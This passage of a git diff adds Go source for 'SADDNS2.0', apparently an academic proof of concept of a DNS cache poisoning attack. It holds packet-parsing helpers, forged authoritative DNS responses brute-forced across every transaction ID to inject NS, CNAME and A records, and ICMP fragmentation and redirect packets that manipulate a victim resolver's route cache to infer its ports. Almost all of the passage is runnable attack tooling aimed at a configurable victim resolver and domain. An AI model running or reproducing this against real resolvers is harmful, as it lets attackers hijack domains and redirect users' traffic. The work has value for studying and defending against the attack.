rspNet := (*packet).NetworkLayer(); rspNet == nil { + return nil, nil, 0, 0, 0xff + } else { + var srcIP net.IP + var dstIP net.IP + var ipid uint16 + var length uint16 + var rspIPLayer gopacket.Layer + var nextHeader layers.IPProtocol + + if rspIPLayer = (*packet).Layer(layers.LayerTypeIPv4); rspIPLayer != nil { + if rspIP := rspIPLayer.(*layers.IPv4); rspIP != nil { + srcIP = rspIP.SrcIP + dstIP = rspIP.DstIP + ipid = rspIP.Id + length = rspIP.Length + nextHeader = rspIP.Protocol + if rspIP.Flags&layers.IPv4MoreFragments != 0 || rspIP.FragOffset != 0 { + nextHeader = layers.IPProtocolIPv6Fragment + } + return srcIP, dstIP, ipid, length, nextHeader + } + } else if rspIPLayer = (*packet).Layer(layers.LayerTypeIPv6); rspIPLayer != nil { + if rspIP6 := rspIPLayer.(*layers.IPv6); rspIP6 != nil { + srcIP = rspIP6.SrcIP + dstIP = rspIP6.DstIP + ipid = uint16(rspIP6.FlowLabel) + length = rspIP6.Length + 40 + nextHeader = rspIP6.NextHeader + return srcIP, dstIP, ipid, length, nextHeader + } + } + } + return nil, nil, 0, 0, 0xff +} + +func ExtractDNSPacket(packet *gopacket.Packet) (uint16, bool, *layers.DNS) { + rspDNSLayer := (*packet).Layer(layers.LayerTypeDNS) + if rspDNSLayer == nil { + return 0xffff, false, nil + } + rspDNS := rspDNSLayer.(*layers.DNS) + if rspDNS == nil { + return 0xffff, false, nil + } + if rspDNS.Questions == nil || len(rspDNS.Questions) < 1 || rspDNS.Questions[0].Name == nil || len(rspDNS.Questions[0].Name) < 15 { + return 0xffff, false, nil + } + return rspDNS.ID, rspDNS.QR, rspDNS +} + +func ExtractUDPPacket(packet *gopacket.Packet) (layers.UDPPort, layers.UDPPort, uint16) { + if rspTP := (*packet).TransportLayer(); rspTP == nil { + return 0, 0, 0xffff + } else { + if rspUDPLayer := (*packet).Layer(layers.LayerTypeUDP); rspUDPLayer != nil { + if rspUDP := rspUDPLayer.(*layers.UDP); rspUDP != nil { + return rspUDP.SrcPort, rspUDP.DstPort, rspUDP.Length + } + } + return 0, 0, 0xffff + } +} + +func ExtractICMPPacket(packet *gopacket.Packet) (uint8, uint8, uint16, uint16, gopacket.Packet) { + var _type uint8 + var _code uint8 + var _id uint16 + var _seq uint16 + var innerPacket gopacket.Packet + + if rspICMPLayer := (*packet).Layer(layers.LayerTypeICMPv4); rspICMPLayer != nil { + if rspICMP := rspICMPLayer.(*layers.ICMPv4); rspICMP != nil { + _type = rspICMP.TypeCode.Type() + _code = rspICMP.TypeCode.Code() + _id = rspICMP.Id + _seq = rspICMP.Seq + innerPacket = gopacket.NewPacket(rspICMP.Payload, layers.LayerTypeIPv4, gopacket.NoCopy) + return _type, _code, _id, _seq, innerPacket + } + } else if rspICMP6Layer := (*packet).Layer(layers.LayerTypeICMPv6); rspICMP6Layer != nil { + if rspICMP6 := rspICMP6Layer.(*layers.ICMPv6); rspICMP6 != nil { + _type = rspICMP6.TypeCode.Type() + _code = rspICMP6.TypeCode.Code() + innerPacket = gopacket.NewPacket(rspICMP6.Payload[4:], layers.LayerTypeIPv6, gopacket.NoCopy) + if rspPING6Layer := (*packet).Layer(layers.LayerTypeICMPv6Echo); rspPING6Layer != nil { + if rspPING6 := rspPING6Layer.(*layers.ICMPv6Echo); rspPING6 != nil { + _seq = rspPING6.SeqNumber + _id = rspPING6.Identifier + return _type, _code, _id, _seq, innerPacket + } + } + return _type, _code, 0xffff, 0xffff, innerPacket + } + } + return 0xff, 0xff, 0xffff, 0xffff, nil +} + +func SendToUs(packet *gopacket.Packet, dstmac net.HardwareAddr) bool { + if rspEthLayer := (*packet).Layer(layers.LayerTypeEthernet); rspEthLayer != nil { + if rspEth := rspEthLayer.(*layers.Ethernet); rspEth != nil { + for i := 0; i < 6; i++ { + if dstmac[i] != rspEth.DstMAC[i] { + return false + } + } + return true + } + } + return false +} + +func SendByUs(packet *gopacket.Packet, srcmac net.HardwareAddr) bool { + if rspEthLayer := (*packet).Layer(layers.LayerTypeEthernet); rspEthLayer != nil { + if rspEth := rspEthLayer.(*layers.Ethernet); rspEth != nil { + for i := 0; i < 6; i++ { + if srcmac[i] != rspEth.SrcMAC[i] { + return false + } + } + return true + } + } + return false +} + +func ExtractMacPacket(packet *gopacket.Packet) (net.HardwareAddr, net.HardwareAddr) { + if rspEthLayer := (*packet).Layer(layers.LayerTypeEthernet); rspEthLayer != nil { + if rspEth := rspEthLayer.(*layers.Ethernet); rspEth != nil { + return rspEth.SrcMAC, rspEth.DstMAC + } + } + return nil, nil +} + +func GetICMPRedirectLayer(tgt net.IP, dst net.IP, v6 bool) (gopacket.SerializableLayer, gopacket.SerializableLayer) { + if v6 { + return &layers.ICMPv6{ + TypeCode: layers.CreateICMPv6TypeCode(layers.ICMPv6TypeRedirect, 0), + }, &layers.ICMPv6Redirect{ + TargetAddress: tgt, + DestinationAddress: dst, + Options: layers.ICMPv6Options{layers.ICMPv6Option{ + Type: layers.ICMPv6OptRedirectedHeader, + Data: nil, + }}, + } + } else { + tgt = tgt.To4() + return &layers.ICMPv4{ + TypeCode: layers.CreateICMPv4TypeCode(layers.ICMPv4TypeRedirect, 1), + Id: uint16(tgt[0])<<8 | uint16(tgt[1]), + Seq: uint16(tgt[2])<<8 | uint16(tgt[3]), + }, nil + } +} diff --git a/src/ucr.edu/SADDNS2.0/dns.go b/src/ucr.edu/SADDNS2.0/dns.go new file mode 100644 index 0000000..24a2d2a --- /dev/null +++ b/src/ucr.edu/SADDNS2.0/dns.go @@ -0,0 +1,281 @@ +package main + +import ( + "bytes" + "encoding/binary" + "fmt" + "github.com/google/gopacket/layers" + "github.com/ugorji/go/codec" + "math/rand" + "net" + "time" +) + +/*BF server (bfConn: C--->S)*/ +var bfConn *net.TCPConn + +var bfTotalTime time.Duration +var bfTimes uint + +func normalReturn(srcIP net.IP, dstIP net.IP, targetPort layers.UDPPort, txid uint16, question layers.DNSQuestion, auxDomain string, victimDNSName string) { + questionName := question.Name + ipLayer := GetIPLayer(srcIP, dstIP, false, 3, layers.IPProtocolUDP) + udpLayer := GetUDPLayer(53, targetPort) + dnsLayer := layers.DNS{ + ID: txid, + QR: true, + OpCode: 0, + AA: true, + TC: false, + RD: false, + RA: false, + Z: 0, + } + dnsLayer.Questions = []layers.DNSQuestion{question} + qType := dnsLayer.Questions[0].Type + // NXDOMAIN + if string(questionName) == victimDNSName && qType == layers.DNSTypeNS { + dnsLayer.ResponseCode = layers.DNSResponseCodeNoErr + dnsLayer.Answers = []layers.DNSResourceRecord{{ + Name: []byte(victimDNSName), + Type: layers.DNSTypeNS, + Class: layers.DNSClassIN, + TTL: 300, //TODO: changed to huge value + IP: nil, // + NS: []byte(auxDomain), // + CNAME: nil, + PTR: nil, + TXTs: nil, + SOA: layers.DNSSOA{}, + SRV: layers.DNSSRV{}, + MX: layers.DNSMX{}, + OPT: nil, + TXT: nil, + }} + } else if string(questionName) == victimDNSName && (qType == layers.DNSTypeA || qType == layers.DNSTypeAAAA) { + + } + if auxDomain != "" { + dnsLayer.ResponseCode = layers.DNSResponseCodeNoErr + dnsLayer.Authorities = []layers.DNSResourceRecord{{ + Name: []byte(victimDNSName), + Type: layers.DNSTypeNS, + Class: layers.DNSClassIN, + TTL: 300, //TODO: changed to huge value + IP: nil, // + NS: []byte(auxDomain), // + CNAME: nil, + PTR: nil, + TXTs: nil, + SOA: layers.DNSSOA{}, + SRV: layers.DNSSRV{}, + MX: layers.DNSMX{}, + OPT: nil, + TXT: nil, + }} + } + XmitUDP(h, eth, ipLayer, &udpLayer, &dnsLayer, 0) +} + +func sendDNSRequest(id uint16, name string, srcIP net.IP, dstIP net.IP) { + fmt.Println("Send new request", name, id) + if bfConn != nil && *remoteQuery { + Query := &DnsQuery{ + DnsQueryName: name, + FrontIP: dstIP, + VictimDomain: *victimDomain, + } + Rinfo := &RemoteInfo{ + Dq: Query, + Bf: nil, + } + var buf bytes.Buffer + handle := new(codec.BincHandle) + enc := codec.NewEncoder(&buf, handle) + err := enc.Encode(Rinfo) + if err != nil { + fmt.Println("encode fail", err) + } + /* data len */ + dataLenSlice := make([]byte, 2) + binary.BigEndian.PutUint16(dataLenSlice, uint16(buf.Len())) + _, err = bfConn.Write(append(dataLenSlice, buf.Bytes()...)) + if err != nil { + fmt.Println("TCP write err", err) + } + /* TODO: we share bfCount here, meaning we can't make a running instance both server and client */ + /* wait for reply */ + reply := make([]byte, 1) + _, err = bfConn.Read(reply) + if err != nil { + fmt.Println("TCP read err", err) + } + if reply[0] != bfCount+1 { + fmt.Println("Reply seq doesn't match:", reply[0], ", expected:", bfCount+1) + } + bfCount = reply[0] + } else { + ipLayer := GetIPLayer(srcIP, dstIP, false, 1, layers.IPProtocolUDP) + udpLayer := GetUDPLayer(layers.UDPPort(rand.Uint32()), 53) + dnsLayer := GetDNSQuery(id, name) + XmitUDP(h, eth, ipLayer, &udpLayer, &dnsLayer, 0) + } +} + +func dnsBruteForce(srcIP net.IP, dstIP net.IP, targetPort uint16, timeGap uint, finishGap uint, auxDomain string, victimDNSName string, questionName string, forwarderMode bool) { + if currentPort == layers.UDPPort(targetPort) /*portMap[layers.UDPPort(targetPort)]*/ { + hitTimes++ + } else { + missTimes++ + if *testMode { + return + } + } + portMap[layers.UDPPort(targetPort)] = false + fmt.Println("BF for", dstIP, ":", targetPort, "hit", hitTimes, "miss", missTimes) + if !*enableBF { + return + } + if bfConn != nil && *remoteBF { + /* Serialize */ + Info := &BfInfo{ + NsIP: srcIP, + BackendIP: dstIP, + Port: targetPort, + DnsBFTimeGap: timeGap, + DnsBFFinishTimeGap: finishGap, + AuxDomain: auxDomain, + VictimDomain: victimDNSName, + QuestionName: questionName, + PublicPortMode: forwarderMode, + } + Rinfo := &RemoteInfo{ + Dq: nil, + Bf: Info, + } + var buf bytes.Buffer + handle := new(codec.BincHandle) + enc := codec.NewEncoder(&buf, handle) + err := enc.Encode(Rinfo) + if err != nil { + fmt.Println("encode fail", err) + } + /* data len */ + dataLenSlice := make([]byte, 2) + binary.BigEndian.PutUint16(dataLenSlice, uint16(buf.Len())) + _, err = bfConn.Write(append(dataLenSlice, buf.Bytes()...)) + if err != nil { + fmt.Println("TCP write err", err) + } + /* TODO: we share bfCount here, meaning we can't make a running instance both server and client */ + /* wait for reply */ + reply := make([]byte, 1) + _, err = bfConn.Read(reply) + if err != nil { + fmt.Println("TCP read err", err) + } + if reply[0] != bfCount+1 { + fmt.Println("Reply seq doesn't match:", reply[0], ", expected:", bfCount+1) + } + bfCount = reply[0] + } else { + ipLayer := GetIPLayer(srcIP, dstIP, false, 3, layers.IPProtocolUDP) + udpLayer := GetUDPLayer(53, layers.UDPPort(targetPort)) + dnsLayer := layers.DNS{ + ID: 0, + QR: true, + OpCode: 0, + AA: true, + TC: false, + RD: false, + RA: false, + Z: 0, + ResponseCode: layers.DNSResponseCodeNoErr, + //QDCount: 1, + //ANCount: 1, + //NSCount: 0, + //ARCount: 0, + + /*Answers for NS request */ + Questions: []layers.DNSQuestion{{ + Name: []byte(*victimDomain), + Type: layers.DNSTypeA, + Class: layers.DNSClassIN, + }}, + Authorities: []layers.DNSResourceRecord{{ + Name: []byte(*victimDomain), + Type: layers.DNSTypeNS, + Class: layers.DNSClassIN, + TTL: 604800, //TODO: changed to huge value + IP: nil, + NS: []byte(auxDomain), + CNAME: nil, + PTR: nil, + TXTs: nil, + SOA: layers.DNSSOA{}, + SRV: layers.DNSSRV{}, + MX: layers.DNSMX{}, + OPT: nil, + TXT: nil, + }}, + Answers: nil, + Additionals: nil, + } + if forwarderMode { + dnsLayer.AA = false + dnsLayer.RD = true + dnsLayer.RA = true + dnsLayer.Questions = []layers.DNSQuestion{{ + Name: []byte(questionName), + Type: layers.DNSTypeA, + Class: layers.DNSClassIN, + }} + dnsLayer.Answers = []layers.DNSResourceRecord{{ + Name: []byte(questionName), + Type: layers.DNSTypeCNAME, + Class: layers.DNSClassIN, + TTL: 300, //TODO: changed to huge value + IP: nil, + NS: nil, + CNAME: []byte(victimDNSName), + PTR: nil, + TXTs: nil, + SOA: layers.DNSSOA{}, + SRV: layers.DNSSRV{}, + MX: layers.DNSMX{}, + OPT: nil, + TXT: nil, + }, { + Name: []byte(victimDNSName), + Type: layers.DNSTypeA, + Class: layers.DNSClassIN, + TTL: 300, //TODO: changed to huge value + IP: net.ParseIP("1.2.3.4"), + NS: nil, + CNAME: nil, + PTR: nil, + TXTs: nil, + SOA: layers.DNSSOA{}, + SRV: layers.DNSSRV{}, + MX: layers.DNSMX{}, + OPT: nil, + TXT: nil, + }} + } + //} + fmt.Println("DNS BruteForce: ", targetPort) + startTime := time.Now() + var txid uint16 + for txid = 0; txid < 0xffff; txid++ { + dnsLayer.ID = txid + XmitUDP(h, eth, ipLayer, &udpLayer, &dnsLayer, timeGap) + } + dnsLayer.ID = 0xffff + XmitUDP(h, eth, ipLayer, &udpLayer, &dnsLayer, timeGap) + dur := time.Now().Sub(startTime) + bfTotalTime = time.Now().Add(bfTotalTime).Sub(startTime) + bfTimes++ + fmt.Println("time: ", dur) + time.Sleep(time.Duration(finishGap) * time.Microsecond) + } +} diff --git a/src/ucr.edu/SADDNS2.0/main.go b/src/ucr.edu/SADDNS2.0/main.go new file mode 100644 index 0000000..6c4966e --- /dev/null +++ b/src/ucr.edu/SADDNS2.0/main.go @@ -0,0 +1,1317 @@ +package main + +import ( + "encoding/binary" + "flag" + "fmt" + "github.com/google/gopacket" + "github.com/google/gopacket/layers" + "github.com/google/gopacket/pcap" + "github.com/google/gopacket/routing" + "github.com/ugorji/go/codec" + "log" + "math/rand" + "net" + "os" + "sort" + "strconv" + "strings" + "sync" + "time" +) + +/* Input args */ +var ifaceName *string +var localIP net.IP +var localIPv6Subnet *net.IPNet +var victimIP net.IP +var victimFrontIP net.IP +var victimDomain *string +var auxDomain *string +var victimAuthIP []net.IP +var gatewayMac net.HardwareAddr +var localMac net.HardwareAddr +var collidingIPs = make([][]net.IP, 0) +var collidingIPs2 = make([][]net.IP, 0) +var groupSize *int +var groupGap *uint +var startPort *uint +var endPort *uint +var dnsPrivacyMode *bool +var enhancedRefreshPercentage *uint +var publicPortMode *bool +var forwarderInjectMode *bool +var redirectAttackMode *bool +var floodOnlyMode *bool +var remoteBF *bool +var remoteQuery *bool +var testMode *bool +var useLocalIP *bool +var enableBF *bool +var recvTimes uint + +var packetSendingGap *uint +var verificationGap *uint +var plantingGap *uint +var plantingFinishGap *uint +var dnsBFTimeGap *uint +var dnsBFFinishTimeGap *uint +var bsStateDuration *uint +var jitterProtectionDuration *uint + +/* Inner variables */ +var h *pcap.Handle +var eth *layers.Ethernet +var dnsQueryName string +var gotReply bool +var replyReason int +var backendResolvers = make([]*BackendResolver, 0) +var pcapChannel = make(chan []byte, 99999) +var bsTimeStamp time.Time +var bsStartPort uint16 +var lastReplantTime time.Time +var attackStartTime time.Time + +/* can be configured if necessary */ +var repeatTimes = 1 + +/* Const configurations */ +const BUCKET_DEPTH = 6 /*6 for ipv4, 5 for ipv6*/ +const IPICMPHDRLEN = 28 /*48 for ipv6, 28 for ipv4*/ +const GARBAGE_EXTRA = 10 /*How many do we want to exceed MTU?*/ +const NS_NUM = 1 +const MIN_MTU = 700 /*1280 for ipv6*/ + +/*port map*/ +var portMap = make(map[layers.UDPPort]bool) +var currentPort layers.UDPPort = 0 +var hitTimes = 0 +var missTimes = 0 + +type BackendResolver struct { + resolverBackendIP net.IP + alwaysOpenPorts []bool //= make([]bool, 65536) + networkXmitLock *sync.Mutex + nameServers []*NameServer + redirectNewGW net.IP + redirectOldGW net.IP +} + +type NameServer struct { + nsIP net.IP + collidingIPs []net.IP + collidingIPs2 []net.IP + /* routing cache planting args */ + fastPlantMode bool // Determine if we reverse the order everytime + nextTimeReverseOrder bool + checkingFirstLocalIP bool + mtu uint16 + garbage []byte + /* Group Related */ + groups [][]uint16 // = make([][]uint16, 65536) + groupIDCounter uint16 // = 3 + groupIDCounterLock *sync.Mutex + groupSendTime []time.Time // = make([]time.Time, 65536) + /* Channel Related */ + probeChannel chan uint16 //= make(chan uint16, 655) + priorityProbeChannel chan uint16 //= make(chan uint16, 655) + priorityProbeGroupNumLock *sync.Mutex + priorityProbeGroupNum []uint16 + bruteForceBuffer chan uint16 + receivedPortidChannel chan uint16 // only used in redirect mode + /* Sync */ + readyToBegin bool +} + +func dnsRequestSender(timeout uint, srcIP net.IP) { + for { + dnsQueryName = strconv.Itoa(rand.Int()) + "." + *victimDomain + gotReply = false + sendDNSRequest(uint16(rand.Uint32()), dnsQueryName, srcIP, victimFrontIP) + retryTimes := timeout / 500 + for { + if !gotReply { + time.Sleep(500 * time.Millisecond) + retryTimes-- + if retryTimes == 0 { + break + } + } else { + fmt.Println("Got reply in", timeout-retryTimes*500, "ms, code=", replyReason) + break + } + } + } +} + +func cachePlanter(r *BackendResolver, n *NameServer, force bool, randomMode bool) { + //fmt.Println("Plant begin...", force) + v6 := r.resolverBackendIP.To4() == nil + probingICMPLayer0, probingICMPLayer1 := GetICMPPkt2BigLayer(n.mtu, v6) + probingPingReplyLayer0, probingPingReplyLayer1 := GetICMPPingReplyLayer(0, 0, v6) + probingPingLayer0, probingPingLayer1 := GetICMPPingLayer(2, 2, v6) + /*************** + TODO: change to 53 + ****************/ + probingUDP53Layer := GetUDPLayer(53, 40000) + var gap uint = 0 + if !n.fastPlantMode { + gap = 5000 + *plantingGap /* Jiffies */ + } else { + gap = *plantingGap + } + //enhancedMode := len(n.collidingIPs2) != 0 && rand.Uint32()%100 < uint32(*enhancedRefreshPercentage) + if !force { + n.nextTimeReverseOrder = true + n.checkingFirstLocalIP = false + for { + for randomMode { + if rand.Uint32()%100 >= uint32(*enhancedRefreshPercentage) { + time.Sleep(time.Second) + } else { + //fmt.Println("random replanting") + break + } + } + r.networkXmitLock.Lock() + if *plantingFinishGap != 0 { + time.Sleep(time.Duration(*plantingFinishGap) * time.Microsecond) + } + if len(n.collidingIPs2) != 0 { + for _, cIP := range n.collidingIPs2 { + probingIPLayer := GetIPLayer(localIP, r.resolverBackendIP, false, 2, layers.IPProtocolICMPv6) + if !*useLocalIP { + probingIPLayer = GetIPLayer(cIP, r.resolverBackendIP, false, 2, layers.IPProtocolICMPv6) + } + probingInnerIPLayer := GetIPLayer(r.resolverBackendIP, cIP, false, 0, layers.IPProtocolICMPv6) + if *redirectAttackMode { + probingIPLayer = GetIPLayerWithTTL(r.redirectOldGW, r.resolverBackendIP, false, 2, layers.IPProtocolICMPv6, 255) + probingICMPLayer0, probingICMPLayer1 = GetICMPRedirectLayer(r.redirectNewGW, cIP, v6) + probingInnerIPLayer = GetIPLayer(r.resolverBackendIP, cIP, false, 0, layers.IPProtocolUDP) + for i := 0; i < 3; i++ { + XmitICMP(h, eth, probingIPLayer, probingICMPLayer0, probingICMPLayer1, probingInnerIPLayer, &probingUDP53Layer, nil, nil, gap) + } + } else { + XmitICMP(h, eth, probingIPLayer, probingICMPLayer0, probingICMPLayer1, probingInnerIPLayer, probingPingReplyLayer0, probingPingReplyLayer1, nil, gap) + } + } + /* This would replant the cache, so adjust the sequence */ + n.nextTimeReverseOrder = true + n.checkingFirstLocalIP = false + /* To wait for a jiffies, pay attention not to use too much random planting which will drain the performance */ + time.Sleep(5 * time.Millisecond) + } + + for c, cIP := range n.collidingIPs { + probingIPLayer := GetIPLayer(localIP, r.resolverBackendIP, false, 2, layers.IPProtocolICMPv6) + if !*useLocalIP { + probingIPLayer = GetIPLayer(cIP, r.resolverBackendIP, false, 2, layers.IPProtocolICMPv6) + } + probingInnerIPLayer := GetIPLayer(r.resolverBackendIP, cIP, false, 0, layers.IPProtocolICMPv6) + if *redirectAttackMode { + probingIPLayer = GetIPLayerWithTTL(r.redirectOldGW, r.resolverBackendIP, false, 2, layers.IPProtocolICMPv6, 255) + probingICMPLayer0, probingICMPLayer1 = GetICMPRedirectLayer(r.redirectNewGW, cIP, v6) + probingInnerIPLayer = GetIPLayer(r.resolverBackendIP, cIP, false, 0, layers.IPProtocolUDP) + for i := 0; i < 3; i++ { + XmitICMP(h, eth, probingIPLayer, probingICMPLayer0, probingICMPLayer1, probingInnerIPLayer, &probingUDP53Layer, nil, nil, gap) + } + } else { + XmitICMP(h, eth, probingIPLayer, probingICMPLayer0, probingICMPLayer1, probingInnerIPLayer, probingPingReplyLayer0, probingPingReplyLayer1, nil, gap) + if c == 0 && !v6 { + /*static bool rt_bind_exception may change the ts, we assume the first colliding IP is used to send the verification*/ + probingIPLayer1 := GetIPLayer(cIP, r.resolverBackendIP, false, 2, layers.IPProtocolICMPv6) + XmitICMP(h, eth, probingIPLayer1, probingPingLayer0, probingPingLayer1, nil, nil, nil, nil, gap) + } + } + } + /* let the planting nodes go through */ + if *plantingFinishGap != 0 { + time.Sleep(time.Duration(*plantingFinishGap) * time.Microsecond) + } + r.networkXmitLock.Unlock() + lastReplantTime = time.Now() + n.readyToBegin = true + if !randomMode { + for { + if time.Now().Sub(lastReplantTime) > 29*time.Second { + fmt.Println("30s replanter kicks in.") + break + } + time.Sleep(time.Second) + } + } + } + } else { + r.networkXmitLock.Lock() + if *plantingFinishGap != 0 { + time.Sleep(time.Duration(*plantingFinishGap) * time.Microsecond) + } + if n.fastPlantMode { + // TODO: uncomment this in the real cases. In the test there's already a huge gap (9ms) + /* + if c == 1 && !v6 { + XmitICMP(h, eth, probingIPLayer, probingPingLayer0, probingPingLayer1, nil, nil, nil, nil, gap) + } + */ + time.Sleep(4 * time.Millisecond) + if n.nextTimeReverseOrder { + for i := BUCKET_DEPTH - 1; i >= 0; i-- { + probingIPLayer := GetIPLayer(localIP, r.resolverBackendIP, false, 2, layers.IPProtocolICMPv6) + if !*useLocalIP { + probingIPLayer = GetIPLayer(n.collidingIPs[i], r.resolverBackendIP, false, 2, layers.IPProtocolICMPv6) + } + probingInnerIPLayer := GetIPLayer(r.resolverBackendIP, n.collidingIPs[i], false, 0, layers.IPProtocolICMPv6) + if *redirectAttackMode { + probingIPLayer = GetIPLayerWithTTL(r.redirectOldGW, r.resolverBackendIP, false, 2, layers.IPProtocolICMPv6, 255) + probingICMPLayer0, probingICMPLayer1 = GetICMPRedirectLayer(r.redirectNewGW, n.collidingIPs[i], v6) + probingInnerIPLayer = GetIPLayer(r.resolverBackendIP, n.collidingIPs[i], false, 0, layers.IPProtocolUDP) + XmitICMP(h, eth, probingIPLayer, probingICMPLayer0, probingICMPLayer1, probingInnerIPLayer, &probingUDP53Layer, nil, nil, gap) + } else { + XmitICMP(h, eth, probingIPLayer, probingICMPLayer0, probingICMPLayer1, probingInnerIPLayer, probingPingReplyLayer0, probingPingReplyLayer1, nil, gap) + } + } + n.nextTimeReverseOrder = false + n.checkingFirstLocalIP = true + } else { + for i := 0; i < BUCKET_DEPTH; i++ { + probingIPLayer := GetIPLayer(localIP, r.resolverBackendIP, false, 2, layers.IPProtocolICMPv6) + if !*useLocalIP { + probingIPLayer = GetIPLayer(n.collidingIPs[i], r.resolverBackendIP, false, 2, layers.IPProtocolICMPv6) + } + probingInnerIPLayer := GetIPLayer(r.resolverBackendIP, n.collidingIPs[i], false, 0, layers.IPProtocolICMPv6) + if *redirectAttackMode { + probingIPLayer = GetIPLayerWithTTL(r.redirectOldGW, r.resolverBackendIP, false, 2, layers.IPProtocolICMPv6, 255) + probingICMPLayer0, probingICMPLayer1 = GetICMPRedirectLayer(r.redirectNewGW, n.collidingIPs[i], v6) + probingInnerIPLayer = GetIPLayer(r.resolverBackendIP, n.collidingIPs[i], false, 0, layers.IPProtocolUDP) + XmitICMP(h, eth, probingIPLayer, probingICMPLayer0, probingICMPLayer1, probingInnerIPLayer, &probingUDP53Layer, nil, nil, gap) + } else { + XmitICMP(h, eth, probingIPLayer, probingICMPLayer0, probingICMPLayer1, probingInnerIPLayer, probingPingReplyLayer0, probingPingReplyLayer1, nil, gap) + } + } + n.nextTimeReverseOrder = true + n.checkingFirstLocalIP = false + } + //time.Sleep(4 * time.Millisecond) + } else { + for i := 0; i < BUCKET_DEPTH; i++ { + probingIPLayer := GetIPLayer(localIP, r.resolverBackendIP, false, 2, layers.IPProtocolICMPv6) + if !*useLocalIP { + probingIPLayer = GetIPLayer(n.collidingIPs[i], r.resolverBackendIP, false, 2, layers.IPProtocolICMPv6) + } + probingInnerIPLayer := GetIPLayer(r.resolverBackendIP, n.collidingIPs[i], false, 0, layers.IPProtocolICMPv6) + if *redirectAttackMode { + probingIPLayer = GetIPLayerWithTTL(r.redirectOldGW, r.resolverBackendIP, false, 2, layers.IPProtocolICMPv6, 255) + probingICMPLayer0, probingICMPLayer1 = GetICMPRedirectLayer(r.redirectNewGW, n.collidingIPs[i], v6) + probingInnerIPLayer = GetIPLayer(r.resolverBackendIP, n.collidingIPs[i], false, 0, layers.IPProtocolUDP) + XmitICMP(h, eth, probingIPLayer, probingICMPLayer0, probingICMPLayer1, probingInnerIPLayer, &probingUDP53Layer, nil, nil, gap) + } else { + XmitICMP(h, eth, probingIPLayer, probingICMPLayer0, probingICMPLayer1, probingInnerIPLayer, probingPingReplyLayer0, probingPingReplyLayer1, nil, gap) + if i == 0 && !v6 { + /*static bool rt_bind_exception may change the ts, we assume the first colliding IP is used to send the verification*/ + probingIPLayer1 := GetIPLayer(n.collidingIPs[i], r.resolverBackendIP, false, 2, layers.IPProtocolICMPv6) + XmitICMP(h, eth, probingIPLayer1, probingPingLayer0, probingPingLayer1, nil, nil, nil, nil, gap) + } + } + } + } + /* let the planting nodes go through */ + if *plantingFinishGap != 0 { + time.Sleep(time.Duration(*plantingFinishGap) * time.Microsecond) + } + r.networkXmitLock.Unlock() + } + //fmt.Println("Plant end") +} + +func recevingWorker() { + for { + data := <-pcapChannel + packet := gopacket.NewPacket(data, layers.LayerTypeEthernet, gopacket.DecodeOptions{ + Lazy: true, + NoCopy: true, + SkipDecodeRecovery: false, + DecodeStreamsAsDatagrams: false, + }) + srcIP, dstIP, fl, pktlen, nh := ExtractIPPacket(&packet) + /***************************************/ + // to remove, pretend we are off path + //if !SendToUs(&packet, eth.SrcMAC) { + // continue + //} + /**************************************/ + sendByUs := SendByUs(&packet, eth.SrcMAC) + switch nh { + case layers.IPProtocolUDP: + /* TODO: here we assumes the front IP and back IP are the same, but always leave victimIP as front end */ + /* Fixed by changing to victimFrontIP */ + if !sendByUs && CompareIPAddr(srcIP, victimFrontIP, 0) == 0 && fl != 2 { + _, _, dns := ExtractDNSPacket(&packet) + if dns != nil && dns.Questions != nil && len(dns.Questions) != 0 { + if string(dns.Questions[0].Name) == dnsQueryName && dns.QR == true { + gotReply = true + replyReason = int(dns.ResponseCode) + } + /* TODO: change the SOA name accordingly */ + if dns.QR == true && dns.Authorities != nil && len(dns.Authorities) != 0 && dns.ResponseCode == layers.DNSResponseCodeNXDomain && string(dns.Questions[0].Name) == dnsQueryName && string(dns.Authorities[0].Name) == *victimDomain && string(dns.Authorities[0].SOA.MName) == "www.SAMPLE.com" { + fmt.Println("Success!!") + fmt.Println("Finish attack @", time.Now()) + fmt.Println("Duration:", time.Now().Sub(attackStartTime)) + os.Exit(0) + } else if dns.QR == true && string(dns.Questions[0].Name) == dnsQueryName && dns.ResponseCode == layers.DNSResponseCodeNoErr { + for _, record := range dns.Answers { + if record.Type == layers.DNSTypeA { + fmt.Println("Success2!!") + fmt.Println("Finish attack @", time.Now()) + fmt.Println("Duration:", time.Now().Sub(attackStartTime)) + fmt.Println("BF total duration:", bfTotalTime) + fmt.Println("BF times:", bfTimes) + os.Exit(0) + } + } + } + } + } + if !sendByUs && CompareIPAddr(srcIP, victimIP, 0) == 0 && fl != 2 { + _, _, dns := ExtractDNSPacket(&packet) + if dns.QR == false && *floodOnlyMode && strings.Contains(string(dns.Questions[0].Name), *victimDomain) { + sport, _, _ := ExtractUDPPacket(&packet) + //dnsBruteForce(dstIP, srcIP, uint16(sport), *dnsBFTimeGap, *dnsBFFinishTimeGap, *auxDomain, *victimDomain, string(dns.Questions[0].Name), *forwarderInjectMode) + normalReturn(dstIP, srcIP, sport, dns.ID, dns.Questions[0], *auxDomain, *victimDomain) + } + } + if !sendByUs && *testMode { + sport, _, _ := ExtractUDPPacket(&packet) + if sport != 0 { + _, _, dns := ExtractDNSPacket(&packet) + if dns != nil && dns.Questions != nil && len(dns.Questions) != 0 && dns.QR == false { + r := getBackendResolver(srcIP) + if r == nil { + normalReturn(dstIP, srcIP, sport, dns.ID, dns.Questions[0], "", "") + break + } else { + // pretend we are attacking + // TODO: here we assumes only one name server + fmt.Println("recv query from", srcIP, ":", sport, "id=", dns.ID) + portMap[sport] = true + currentPort = sport + recvTimes++ + if recvTimes%2 != 0 { + continue + } + n := r.nameServers[0] + for i := 0; i < 100; i++ { + id := allocateGroupID(n) + // TODO: we assumes the group size is 1 + n.groups[id] = make([]uint16, 1) + n.groups[id][0] = uint16(sport) - uint16(50) + uint16(i) + n.probeChannel <- id + } + dnsBruteForce(dstIP, srcIP, uint16(sport), *dnsBFTimeGap, *dnsBFFinishTimeGap, *auxDomain, *victimDomain, string(dns.Questions[0].Name), *forwarderInjectMode) + } + } + } + } + break + // IPv4 also goes here + case layers.IPProtocolIPv6Fragment: + if guessSeedMode && !sendByUs { + _, offset, _, nextHeader, payload := ExtractFragment(&packet) + innerPkt := gopacket.NewPacket(payload, nextHeader, gopacket.NoCopy) + _type, _, _, _, _ := ExtractICMPPacket(&innerPkt) + if _type == layers.ICMPv6TypeEchoReply || _type == layers.ICMPv4TypeEchoReply { + if CompareIPAddr(victimIP, srcIP, 0) == 0 && offset == 0 { + if !guessSeedMacMode { + ipNoFragMap[dstIP.String()] = false + } else { + srcMac, _ := ExtractMacPacket(&packet) + ip, ok := 